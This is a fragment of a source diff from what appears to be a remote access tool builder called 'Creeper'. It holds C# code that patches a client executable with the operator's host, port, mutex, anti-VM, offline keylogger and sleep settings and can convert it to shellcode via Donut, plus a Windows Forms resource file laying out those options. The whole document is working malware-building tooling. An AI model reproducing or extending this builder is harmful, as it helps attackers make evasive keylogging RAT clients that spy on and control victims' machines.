using (asmDef = ModuleDefMD.Load(radioButtonnet40.Checked ? ReplaceBytes(Resources.Client, Encoding.UTF8.GetBytes("v2.0.50727"), Encoding.UTF8.GetBytes("v4.0.30319")) : Resources.Client))
|
||||
using (SaveFileDialog saveFileDialog1 = new SaveFileDialog())
|
||||
{
|
||||
saveFileDialog1.Filter = ".exe (*.exe)|*.exe";
|
||||
saveFileDialog1.InitialDirectory = Application.StartupPath;
|
||||
saveFileDialog1.OverwritePrompt = false;
|
||||
saveFileDialog1.FileName = "Client";
|
||||
if (saveFileDialog1.ShowDialog() == DialogResult.OK)
|
||||
{
|
||||
buttonbuild.Enabled = false;
|
||||
WriteSettings(asmDef, saveFileDialog1.FileName);
|
||||
//asmDef = Obfuscate.obfuscate(asmDef);
|
||||
asmDef.Write(saveFileDialog1.FileName);
|
||||
asmDef.Dispose();
|
||||
if (checkBoxshellcode.Checked)
|
||||
{
|
||||
Donut.Donut.Generate(saveFileDialog1.FileName, saveFileDialog1.FileName + ".bin");
|
||||
}
|
||||
MessageBox.Show("Done!", "Builder", MessageBoxButtons.OK, MessageBoxIcon.Information);
|
||||
}
|
||||
}
|
||||
#endif
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
MessageBox.Show(ex.Message, "Builder", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
asmDef?.Dispose();
|
||||
|
||||
}
|
||||
buttonbuild.Enabled = true;
|
||||
}
|
||||
|
||||
private void WriteSettings(ModuleDefMD asmDef, string AsmName)
|
||||
{
|
||||
try
|
||||
{
|
||||
foreach (TypeDef type in asmDef.Types)
|
||||
{
|
||||
asmDef.Assembly.Name = Path.GetFileNameWithoutExtension(AsmName);
|
||||
asmDef.Name = Path.GetFileName(AsmName);
|
||||
if (type.Name == "Program")
|
||||
foreach (MethodDef method in type.Methods)
|
||||
{
|
||||
if (method.Body == null) continue;
|
||||
for (int i = 0; i < method.Body.Instructions.Count(); i++)
|
||||
{
|
||||
if (method.Body.Instructions[i].OpCode == OpCodes.Ldstr)
|
||||
{
|
||||
if (method.Body.Instructions[i].Operand.ToString() == "%Port%")
|
||||
{
|
||||
if (toggleButtonip.Checked)
|
||||
{
|
||||
method.Body.Instructions[i].Operand = "0";
|
||||
}
|
||||
else
|
||||
{
|
||||
method.Body.Instructions[i].Operand = textBoxport.Text;
|
||||
}
|
||||
}
|
||||
|
||||
if (method.Body.Instructions[i].Operand.ToString() == "%Host%")
|
||||
{
|
||||
if (toggleButtonip.Checked)
|
||||
{
|
||||
method.Body.Instructions[i].Operand = "null";
|
||||
}
|
||||
else
|
||||
{
|
||||
method.Body.Instructions[i].Operand = textBoxip.Text;
|
||||
}
|
||||
}
|
||||
|
||||
if (method.Body.Instructions[i].Operand.ToString() == "%Mutex%")
|
||||
method.Body.Instructions[i].Operand = textBoxmutex.Text;
|
||||
|
||||
if (method.Body.Instructions[i].Operand.ToString() == "%AntiAnalysis%")
|
||||
method.Body.Instructions[i].Operand = toggleButtonantivm.Checked.ToString();
|
||||
|
||||
if (method.Body.Instructions[i].Operand.ToString() == "%OffLineKeyLogger%")
|
||||
method.Body.Instructions[i].Operand = toggleButtonofflinekeylogger.Checked.ToString();
|
||||
|
||||
if (method.Body.Instructions[i].Operand.ToString() == "%Sleep%")
|
||||
method.Body.Instructions[i].Operand = numericUpDownsleep.Value.ToString();
|
||||
|
||||
if (method.Body.Instructions[i].Operand.ToString() == "%Link%")
|
||||
if (toggleButtonip.Checked)
|
||||
method.Body.Instructions[i].Operand = textBoxlink.Text;
|
||||
else
|
||||
method.Body.Instructions[i].Operand = "";
|
||||
|
||||
if (method.Body.Instructions[i].Operand.ToString() == "%Group%")
|
||||
method.Body.Instructions[i].Operand = textBoxgroup.Text;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
throw new ArgumentException("WriteSettings: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] ReplaceBytes(byte[] src, byte[] search, byte[] repl)
|
||||
{
|
||||
if (repl == null) return src;
|
||||
int index = FindBytes(src, search);
|
||||
if (index < 0) return src;
|
||||
byte[] dst = new byte[src.Length - search.Length + repl.Length];
|
||||
Buffer.BlockCopy(src, 0, dst, 0, index);
|
||||
Buffer.BlockCopy(repl, 0, dst, index, repl.Length);
|
||||
Buffer.BlockCopy(src, index + search.Length, dst, index + repl.Length, src.Length - (index + search.Length));
|
||||
return dst;
|
||||
}
|
||||
|
||||
public static int FindBytes(byte[] src, byte[] find)
|
||||
{
|
||||
if (src == null || find == null || src.Length == 0 || find.Length == 0 || find.Length > src.Length) return -1;
|
||||
for (int i = 0; i < src.Length - find.Length + 1; i++)
|
||||
{
|
||||
if (src[i] == find[0])
|
||||
{
|
||||
for (int m = 1; m < find.Length; m++)
|
||||
{
|
||||
if (src[i + m] != find[m]) break;
|
||||
if (m == find.Length - 1) return i;
|
||||
}
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,891 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<assembly alias="mscorlib" name="mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
|
||||
<data name="panelbuilderback.AutoScroll" type="System.Boolean, mscorlib">
|
||||
<value>True</value>
|
||||
</data>
|
||||
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
|
||||
<data name="groupBoxothers.Anchor" type="System.Windows.Forms.AnchorStyles, System.Windows.Forms">
|
||||
<value>Top, Left, Right</value>
|
||||
</data>
|
||||
<data name="labelversion.AutoSize" type="System.Boolean, mscorlib">
|
||||
<value>True</value>
|
||||
</data>
|
||||
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
|
||||
<data name="labelversion.Location" type="System.Drawing.Point, System.Drawing">
|
||||
<value>372, 167</value>
|
||||
</data>
|
||||
<data name="labelversion.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>65, 21</value>
|
||||
</data>
|
||||
<data name="labelversion.TabIndex" type="System.Int32, mscorlib">
|
||||
<value>93</value>
|
||||
</data>
|
||||
<data name="labelversion.Text" xml:space="preserve">
|
||||
<value>Version:</value>
|
||||
</data>
|
||||
<data name=">>labelversion.Name" xml:space="preserve">
|
||||
<value>labelversion</value>
|
||||
</data>
|
||||
<data name=">>labelversion.Type" xml:space="preserve">
|
||||
<value>System.Windows.Forms.Label, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name=">>labelversion.Parent" xml:space="preserve">
|
||||
<value>groupBoxothers</value>
|
||||
</data>
|
||||
<data name=">>labelversion.ZOrder" xml:space="preserve">
|
||||
<value>0</value>
|
||||
</data>
|
||||
<data name="radioButtonnet35.AutoSize" type="System.Boolean, mscorlib">
|
||||
<value>True</value>
|
||||
</data>
|
||||
<data name="radioButtonnet35.Location" type="System.Drawing.Point, System.Drawing">
|
||||
<value>460, 195</value>
|
||||
</data>
|
||||
<data name="radioButtonnet35.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>81, 25</value>
|
||||
</data>
|
||||
<data name="radioButtonnet35.TabIndex" type="System.Int32, mscorlib">
|
||||
<value>92</value>
|
||||
</data>
|
||||
<data name="radioButtonnet35.Text" xml:space="preserve">
|
||||
<value>.Net 3.5</value>
|
||||
</data>
|
||||
<data name=">>radioButtonnet35.Name" xml:space="preserve">
|
||||
<value>radioButtonnet35</value>
|
||||
</data>
|
||||
<data name=">>radioButtonnet35.Type" xml:space="preserve">
|
||||
<value>System.Windows.Forms.RadioButton, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name=">>radioButtonnet35.Parent" xml:space="preserve">
|
||||
<value>groupBoxothers</value>
|
||||
</data>
|
||||
<data name=">>radioButtonnet35.ZOrder" xml:space="preserve">
|
||||
<value>1</value>
|
||||
</data>
|
||||
<data name="radioButtonnet40.AutoSize" type="System.Boolean, mscorlib">
|
||||
<value>True</value>
|
||||
</data>
|
||||
<data name="radioButtonnet40.Location" type="System.Drawing.Point, System.Drawing">
|
||||
<value>460, 164</value>
|
||||
</data>
|
||||
<data name="radioButtonnet40.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>81, 25</value>
|
||||
</data>
|
||||
<data name="radioButtonnet40.TabIndex" type="System.Int32, mscorlib">
|
||||
<value>91</value>
|
||||
</data>
|
||||
<data name="radioButtonnet40.Text" xml:space="preserve">
|
||||
<value>.Net 4.0</value>
|
||||
</data>
|
||||
<data name=">>radioButtonnet40.Name" xml:space="preserve">
|
||||
<value>radioButtonnet40</value>
|
||||
</data>
|
||||
<data name=">>radioButtonnet40.Type" xml:space="preserve">
|
||||
<value>System.Windows.Forms.RadioButton, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name=">>radioButtonnet40.Parent" xml:space="preserve">
|
||||
<value>groupBoxothers</value>
|
||||
</data>
|
||||
<data name=">>radioButtonnet40.ZOrder" xml:space="preserve">
|
||||
<value>2</value>
|
||||
</data>
|
||||
<data name="checkBoxshellcode.AutoSize" type="System.Boolean, mscorlib">
|
||||
<value>True</value>
|
||||
</data>
|
||||
<data name="checkBoxshellcode.Location" type="System.Drawing.Point, System.Drawing">
|
||||
<value>729, 108</value>
|
||||
</data>
|
||||
<data name="checkBoxshellcode.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>96, 25</value>
|
||||
</data>
|
||||
<data name="checkBoxshellcode.TabIndex" type="System.Int32, mscorlib">
|
||||
<value>90</value>
|
||||
</data>
|
||||
<data name="checkBoxshellcode.Text" xml:space="preserve">
|
||||
<value>Shellcode</value>
|
||||
</data>
|
||||
<data name=">>checkBoxshellcode.Name" xml:space="preserve">
|
||||
<value>checkBoxshellcode</value>
|
||||
</data>
|
||||
<data name=">>checkBoxshellcode.Type" xml:space="preserve">
|
||||
<value>System.Windows.Forms.CheckBox, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name=">>checkBoxshellcode.Parent" xml:space="preserve">
|
||||
<value>groupBoxothers</value>
|
||||
</data>
|
||||
<data name=">>checkBoxshellcode.ZOrder" xml:space="preserve">
|
||||
<value>3</value>
|
||||
</data>
|
||||
<data name="buttonbuild.Anchor" type="System.Windows.Forms.AnchorStyles, System.Windows.Forms">
|
||||
<value>Bottom, Right</value>
|
||||
</data>
|
||||
<data name="buttonbuild.FlatStyle" type="System.Windows.Forms.FlatStyle, System.Windows.Forms">
|
||||
<value>Flat</value>
|
||||
</data>
|
||||
<data name="buttonbuild.Location" type="System.Drawing.Point, System.Drawing">
|
||||
<value>737, 160</value>
|
||||
</data>
|
||||
<data name="buttonbuild.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>212, 71</value>
|
||||
</data>
|
||||
<data name="buttonbuild.TabIndex" type="System.Int32, mscorlib">
|
||||
<value>89</value>
|
||||
</data>
|
||||
<data name="buttonbuild.Text" xml:space="preserve">
|
||||
<value>Build</value>
|
||||
</data>
|
||||
<data name=">>buttonbuild.Name" xml:space="preserve">
|
||||
<value>buttonbuild</value>
|
||||
</data>
|
||||
<data name=">>buttonbuild.Type" xml:space="preserve">
|
||||
<value>System.Windows.Forms.Button, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name=">>buttonbuild.Parent" xml:space="preserve">
|
||||
<value>groupBoxothers</value>
|
||||
</data>
|
||||
<data name=">>buttonbuild.ZOrder" xml:space="preserve">
|
||||
<value>4</value>
|
||||
</data>
|
||||
<data name="numericUpDownsleep.Location" type="System.Drawing.Point, System.Drawing">
|
||||
<value>122, 165</value>
|
||||
</data>
|
||||
<data name="numericUpDownsleep.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>181, 29</value>
|
||||
</data>
|
||||
<data name="numericUpDownsleep.TabIndex" type="System.Int32, mscorlib">
|
||||
<value>88</value>
|
||||
</data>
|
||||
<data name=">>numericUpDownsleep.Name" xml:space="preserve">
|
||||
<value>numericUpDownsleep</value>
|
||||
</data>
|
||||
<data name=">>numericUpDownsleep.Type" xml:space="preserve">
|
||||
<value>System.Windows.Forms.NumericUpDown, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name=">>numericUpDownsleep.Parent" xml:space="preserve">
|
||||
<value>groupBoxothers</value>
|
||||
</data>
|
||||
<data name=">>numericUpDownsleep.ZOrder" xml:space="preserve">
|
||||
<value>5</value>
|
||||
</data>
|
||||
<data name="toggleButtonofflinekeylogger.Location" type="System.Drawing.Point, System.Drawing">
|
||||
<value>543, 31</value>
|
||||
</data>
|
||||
<data name="toggleButtonofflinekeylogger.Margin" type="System.Windows.Forms.Padding, System.Windows.Forms">
|
||||
<value>6, 9, 6, 9</value>
|
||||
</data>
|
||||
<data name="toggleButtonofflinekeylogger.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>50, 50</value>
|
||||
</data>
|
||||
<data name="toggleButtonofflinekeylogger.TabIndex" type="System.Int32, mscorlib">
|
||||
<value>87</value>
|
||||
</data>
|
||||
<data name=">>toggleButtonofflinekeylogger.Name" xml:space="preserve">
|
||||
<value>toggleButtonofflinekeylogger</value>
|
||||
</data>
|
||||
<data name=">>toggleButtonofflinekeylogger.Type" xml:space="preserve">
|
||||
<value>Creeper.Controls.ToggleButton, Creeper, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null</value>
|
||||
</data>
|
||||
<data name=">>toggleButtonofflinekeylogger.Parent" xml:space="preserve">
|
||||
<value>groupBoxothers</value>
|
||||
</data>
|
||||
<data name=">>toggleButtonofflinekeylogger.ZOrder" xml:space="preserve">
|
||||
<value>6</value>
|
||||
</data>
|
||||
<data name="toggleButtonantivm.Location" type="System.Drawing.Point, System.Drawing">
|
||||
<value>135, 31</value>
|
||||
</data>
|
||||
<data name="toggleButtonantivm.Margin" type="System.Windows.Forms.Padding, System.Windows.Forms">
|
||||
<value>4, 5, 4, 5</value>
|
||||
</data>
|
||||
<data name="toggleButtonantivm.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>50, 50</value>
|
||||
</data>
|
||||
<data name="toggleButtonantivm.TabIndex" type="System.Int32, mscorlib">
|
||||
<value>87</value>
|
||||
</data>
|
||||
<data name=">>toggleButtonantivm.Name" xml:space="preserve">
|
||||
<value>toggleButtonantivm</value>
|
||||
</data>
|
||||
<data name=">>toggleButtonantivm.Type" xml:space="preserve">
|
||||
<value>Creeper.Controls.ToggleButton, Creeper, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null</value>
|
||||
</data>
|
||||
<data name=">>toggleButtonantivm.Parent" xml:space="preserve">
|
||||
<value>groupBoxothers</value>
|
||||
</data>
|
||||
<data name=">>toggleButtonantivm.ZOrder" xml:space="preserve">
|
||||
<value>7</value>
|
||||
</data>
|
||||
<data name="labelsleep.AutoSize" type="System.Boolean, mscorlib">
|
||||
<value>True</value>
|
||||
</data>
|
||||
<data name="labelsleep.Location" type="System.Drawing.Point, System.Drawing">
|
||||
<value>33, 167</value>
|
||||
</data>
|
||||
<data name="labelsleep.Margin" type="System.Windows.Forms.Padding, System.Windows.Forms">
|
||||
<value>80, 10, 30, 0</value>
|
||||
</data>
|
||||
<data name="labelsleep.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>68, 21</value>
|
||||
</data>
|
||||
<data name="labelsleep.TabIndex" type="System.Int32, mscorlib">
|
||||
<value>86</value>
|
||||
</data>
|
||||
<data name="labelsleep.Text" xml:space="preserve">
|
||||
<value>Sleep(s):</value>
|
||||
</data>
|
||||
<data name=">>labelsleep.Name" xml:space="preserve">
|
||||
<value>labelsleep</value>
|
||||
</data>
|
||||
<data name=">>labelsleep.Type" xml:space="preserve">
|
||||
<value>System.Windows.Forms.Label, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name=">>labelsleep.Parent" xml:space="preserve">
|
||||
<value>groupBoxothers</value>
|
||||
</data>
|
||||
<data name=">>labelsleep.ZOrder" xml:space="preserve">
|
||||
<value>8</value>
|
||||
</data>
|
||||
<data name="labelmutex.AutoSize" type="System.Boolean, mscorlib">
|
||||
<value>True</value>
|
||||
</data>
|
||||
<data name="labelmutex.Location" type="System.Drawing.Point, System.Drawing">
|
||||
<value>372, 107</value>
|
||||
</data>
|
||||
<data name="labelmutex.Margin" type="System.Windows.Forms.Padding, System.Windows.Forms">
|
||||
<value>80, 10, 30, 0</value>
|
||||
</data>
|
||||
<data name="labelmutex.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>56, 21</value>
|
||||
</data>
|
||||
<data name="labelmutex.TabIndex" type="System.Int32, mscorlib">
|
||||
<value>86</value>
|
||||
</data>
|
||||
<data name="labelmutex.Text" xml:space="preserve">
|
||||
<value>Mutex:</value>
|
||||
</data>
|
||||
<data name=">>labelmutex.Name" xml:space="preserve">
|
||||
<value>labelmutex</value>
|
||||
</data>
|
||||
<data name=">>labelmutex.Type" xml:space="preserve">
|
||||
<value>System.Windows.Forms.Label, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name=">>labelmutex.Parent" xml:space="preserve">
|
||||
<value>groupBoxothers</value>
|
||||
</data>
|
||||
<data name=">>labelmutex.ZOrder" xml:space="preserve">
|
||||
<value>9</value>
|
||||
</data>
|
||||
<data name="textBoxmutex.Location" type="System.Drawing.Point, System.Drawing">
|
||||
<value>460, 104</value>
|
||||
</data>
|
||||
<data name="textBoxmutex.Margin" type="System.Windows.Forms.Padding, System.Windows.Forms">
|
||||
<value>2, 2, 2, 2</value>
|
||||
</data>
|
||||
<data name="textBoxmutex.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>181, 29</value>
|
||||
</data>
|
||||
<data name="textBoxmutex.TabIndex" type="System.Int32, mscorlib">
|
||||
<value>83</value>
|
||||
</data>
|
||||
<data name=">>textBoxmutex.Name" xml:space="preserve">
|
||||
<value>textBoxmutex</value>
|
||||
</data>
|
||||
<data name=">>textBoxmutex.Type" xml:space="preserve">
|
||||
<value>System.Windows.Forms.TextBox, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name=">>textBoxmutex.Parent" xml:space="preserve">
|
||||
<value>groupBoxothers</value>
|
||||
</data>
|
||||
<data name=">>textBoxmutex.ZOrder" xml:space="preserve">
|
||||
<value>10</value>
|
||||
</data>
|
||||
<data name="labelgroup.AutoSize" type="System.Boolean, mscorlib">
|
||||
<value>True</value>
|
||||
</data>
|
||||
<data name="labelgroup.Location" type="System.Drawing.Point, System.Drawing">
|
||||
<value>33, 107</value>
|
||||
</data>
|
||||
<data name="labelgroup.Margin" type="System.Windows.Forms.Padding, System.Windows.Forms">
|
||||
<value>80, 10, 30, 0</value>
|
||||
</data>
|
||||
<data name="labelgroup.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>57, 21</value>
|
||||
</data>
|
||||
<data name="labelgroup.TabIndex" type="System.Int32, mscorlib">
|
||||
<value>86</value>
|
||||
</data>
|
||||
<data name="labelgroup.Text" xml:space="preserve">
|
||||
<value>Group:</value>
|
||||
</data>
|
||||
<data name=">>labelgroup.Name" xml:space="preserve">
|
||||
<value>labelgroup</value>
|
||||
</data>
|
||||
<data name=">>labelgroup.Type" xml:space="preserve">
|
||||
<value>System.Windows.Forms.Label, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name=">>labelgroup.Parent" xml:space="preserve">
|
||||
<value>groupBoxothers</value>
|
||||
</data>
|
||||
<data name=">>labelgroup.ZOrder" xml:space="preserve">
|
||||
<value>11</value>
|
||||
</data>
|
||||
<data name="textBoxgroup.Location" type="System.Drawing.Point, System.Drawing">
|
||||
<value>122, 104</value>
|
||||
</data>
|
||||
<data name="textBoxgroup.Margin" type="System.Windows.Forms.Padding, System.Windows.Forms">
|
||||
<value>2, 2, 2, 2</value>
|
||||
</data>
|
||||
<data name="textBoxgroup.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>181, 29</value>
|
||||
</data>
|
||||
<data name="textBoxgroup.TabIndex" type="System.Int32, mscorlib">
|
||||
<value>83</value>
|
||||
</data>
|
||||
<data name=">>textBoxgroup.Name" xml:space="preserve">
|
||||
<value>textBoxgroup</value>
|
||||
</data>
|
||||
<data name=">>textBoxgroup.Type" xml:space="preserve">
|
||||
<value>System.Windows.Forms.TextBox, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name=">>textBoxgroup.Parent" xml:space="preserve">
|
||||
<value>groupBoxothers</value>
|
||||
</data>
|
||||
<data name=">>textBoxgroup.ZOrder" xml:space="preserve">
|
||||
<value>12</value>
|
||||
</data>
|
||||
<data name="labelofflinekeylogger.AutoSize" type="System.Boolean, mscorlib">
|
||||
<value>True</value>
|
||||
</data>
|
||||
<data name="labelofflinekeylogger.Location" type="System.Drawing.Point, System.Drawing">
|
||||
<value>372, 45</value>
|
||||
</data>
|
||||
<data name="labelofflinekeylogger.Margin" type="System.Windows.Forms.Padding, System.Windows.Forms">
|
||||
<value>30, 20, 30, 0</value>
|
||||
</data>
|
||||
<data name="labelofflinekeylogger.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>135, 21</value>
|
||||
</data>
|
||||
<data name="labelofflinekeylogger.TabIndex" type="System.Int32, mscorlib">
|
||||
<value>78</value>
|
||||
</data>
|
||||
<data name="labelofflinekeylogger.Text" xml:space="preserve">
|
||||
<value>Offline KeyLogger</value>
|
||||
</data>
|
||||
<data name=">>labelofflinekeylogger.Name" xml:space="preserve">
|
||||
<value>labelofflinekeylogger</value>
|
||||
</data>
|
||||
<data name=">>labelofflinekeylogger.Type" xml:space="preserve">
|
||||
<value>System.Windows.Forms.Label, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name=">>labelofflinekeylogger.Parent" xml:space="preserve">
|
||||
<value>groupBoxothers</value>
|
||||
</data>
|
||||
<data name=">>labelofflinekeylogger.ZOrder" xml:space="preserve">
|
||||
<value>13</value>
|
||||
</data>
|
||||
<data name="labelantivm.AutoSize" type="System.Boolean, mscorlib">
|
||||
<value>True</value>
|
||||
</data>
|
||||
<data name="labelantivm.Location" type="System.Drawing.Point, System.Drawing">
|
||||
<value>33, 45</value>
|
||||
</data>
|
||||
<data name="labelantivm.Margin" type="System.Windows.Forms.Padding, System.Windows.Forms">
|
||||
<value>30, 20, 30, 0</value>
|
||||
</data>
|
||||
<data name="labelantivm.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>68, 21</value>
|
||||
</data>
|
||||
<data name="labelantivm.TabIndex" type="System.Int32, mscorlib">
|
||||
<value>78</value>
|
||||
</data>
|
||||
<data name="labelantivm.Text" xml:space="preserve">
|
||||
<value>Anti-VM</value>
|
||||
</data>
|
||||
<data name=">>labelantivm.Name" xml:space="preserve">
|
||||
<value>labelantivm</value>
|
||||
</data>
|
||||
<data name=">>labelantivm.Type" xml:space="preserve">
|
||||
<value>System.Windows.Forms.Label, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name=">>labelantivm.Parent" xml:space="preserve">
|
||||
<value>groupBoxothers</value>
|
||||
</data>
|
||||
<data name=">>labelantivm.ZOrder" xml:space="preserve">
|
||||
<value>14</value>
|
||||
</data>
|
||||
<data name="groupBoxothers.Font" type="System.Drawing.Font, System.Drawing">
|
||||
<value>Segoe UI, 12pt</value>
|
||||
</data>
|
||||
<data name="groupBoxothers.Location" type="System.Drawing.Point, System.Drawing">
|
||||
<value>12, 212</value>
|
||||
</data>
|
||||
<data name="groupBoxothers.Size" type="System.Drawing.Size, System.Drawing">
|
||||
